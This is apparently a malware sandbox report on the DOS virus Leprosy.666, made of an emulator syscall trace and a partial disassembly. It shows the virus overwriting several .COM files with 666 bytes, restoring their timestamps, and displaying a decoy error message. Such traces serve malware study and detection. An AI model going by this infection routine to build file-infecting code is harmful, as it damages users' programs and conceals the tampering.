Sample viewer

vx.netlux.org/Virus.DOS.Leprosy.666.v

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:58:30.553706054Z 44 PC: 12b99 | Get time 0x12b99: cmp byte ptr [0x106], 0
0x12b9e: je 0x12ba5
0x12ba0: cmp dh, 0xf
0x12ba3: jg 0x12bae
0x12ba5: cmp dl, 0
0x12ba8: je 0x12b95
0x12baa: mov byte ptr [0x106], dl
0x12bae: mov byte ptr [0x24a], 0
0x12bb3: mov byte ptr [0x24b], 4
0x12bb8: mov byte ptr [0x254], 0
0x12bbd: mov cx, 0x27
0x12bc0: mov dx, 0x133
0x12bc3: mov ah, 0x4e
0x12bc5: int 0x21
0x12bc7: cmp ax, 0x12
0x12bca: je 0x12bcf
0x12bcc: call 0x12bf1
0x12bcf: mov cx, 0x27
0x12bd2: mov dx, 0x139
0x12bd5: mov ah, 0x4e
2018-12-17T22:58:30.556930973Z 78 PC: 12bc7 | Find first file
2018-12-17T22:58:30.562697081Z 78 PC: 12bd9 | Find first file
2018-12-17T22:58:30.56836631Z 67 PC: 12c12 | Get or set file attributes
2018-12-17T22:58:30.587928284Z 61 PC: 12c18 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:58:30.594434667Z 63 PC: 12c27 | Read file or device (Read 20 bytes on handle 5)
2018-12-17T22:58:30.60065425Z 62 PC: 12c5b | Close file
2018-12-17T22:58:30.60265733Z 61 PC: 12c64 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:58:30.628497041Z 64 PC: 12a5b | Write file or device (Write 666 bytes on handle 5)
2018-12-17T22:58:30.645402311Z 87 PC: 12c8c | Get or set file date and time
2018-12-17T22:58:30.648123179Z 62 PC: 12c94 | Close file
2018-12-17T22:58:30.672821534Z 67 PC: 12ca1 | Get or set file attributes
2018-12-17T22:58:30.681473516Z 79 PC: 12c4b | Find next file
2018-12-17T22:58:30.684070418Z 67 PC: 12c12 | Get or set file attributes
2018-12-17T22:58:30.694438448Z 61 PC: 12c18 | Open file (Filename = 'PRINT.COM')
2018-12-17T22:58:30.701497102Z 63 PC: 12c27 | Read file or device (Read 20 bytes on handle 5)
2018-12-17T22:58:30.708248439Z 62 PC: 12c5b | Close file
2018-12-17T22:58:30.711199554Z 61 PC: 12c64 | Open file (Filename = 'PRINT.COM')
2018-12-17T22:58:30.718386821Z 64 PC: 12a5b | Write file or device (Write 666 bytes on handle 5)
2018-12-17T22:58:30.726702438Z 87 PC: 12c8c | Get or set file date and time
2018-12-17T22:58:30.728685738Z 62 PC: 12c94 | Close file
2018-12-17T22:58:30.736538378Z 67 PC: 12ca1 | Get or set file attributes
2018-12-17T22:58:30.741414471Z 79 PC: 12c4b | Find next file
2018-12-17T22:58:30.744234052Z 67 PC: 12c12 | Get or set file attributes
2018-12-17T22:58:30.754440434Z 61 PC: 12c18 | Open file (Filename = 'HELLO.COM')
2018-12-17T22:58:30.765841254Z 63 PC: 12c27 | Read file or device (Read 20 bytes on handle 5)
2018-12-17T22:58:30.772722582Z 62 PC: 12c5b | Close file
2018-12-17T22:58:30.775086545Z 61 PC: 12c64 | Open file (Filename = 'HELLO.COM')
2018-12-17T22:58:30.782274383Z 64 PC: 12a5b | Write file or device (Write 666 bytes on handle 5)
2018-12-17T22:58:30.790471327Z 87 PC: 12c8c | Get or set file date and time
2018-12-17T22:58:30.792567962Z 62 PC: 12c94 | Close file
2018-12-17T22:58:30.803943711Z 67 PC: 12ca1 | Get or set file attributes
2018-12-17T22:58:30.808509982Z 79 PC: 12c4b | Find next file
2018-12-17T22:58:30.812018299Z 67 PC: 12c12 | Get or set file attributes
2018-12-17T22:58:30.821804801Z 61 PC: 12c18 | Open file (Filename = 'PHANG.COM')
2018-12-17T22:58:30.833478736Z 63 PC: 12c27 | Read file or device (Read 20 bytes on handle 5)
2018-12-17T22:58:30.840519873Z 62 PC: 12c5b | Close file
2018-12-17T22:58:30.842581512Z 61 PC: 12c64 | Open file (Filename = 'PHANG.COM')
2018-12-17T22:58:30.849640585Z 64 PC: 12a5b | Write file or device (Write 666 bytes on handle 5)
2018-12-17T22:58:30.858552359Z 87 PC: 12c8c | Get or set file date and time
2018-12-17T22:58:30.860325985Z 62 PC: 12c94 | Close file
2018-12-17T22:58:30.868061379Z 67 PC: 12ca1 | Get or set file attributes
2018-12-17T22:58:30.873735628Z 9 PC: 12ccf | Display string (String= ' Program too big to fit in memory')
2018-12-17T22:58:30.877998674Z 76 PC: 12cd3 | Terminate with return code (Return code = '36')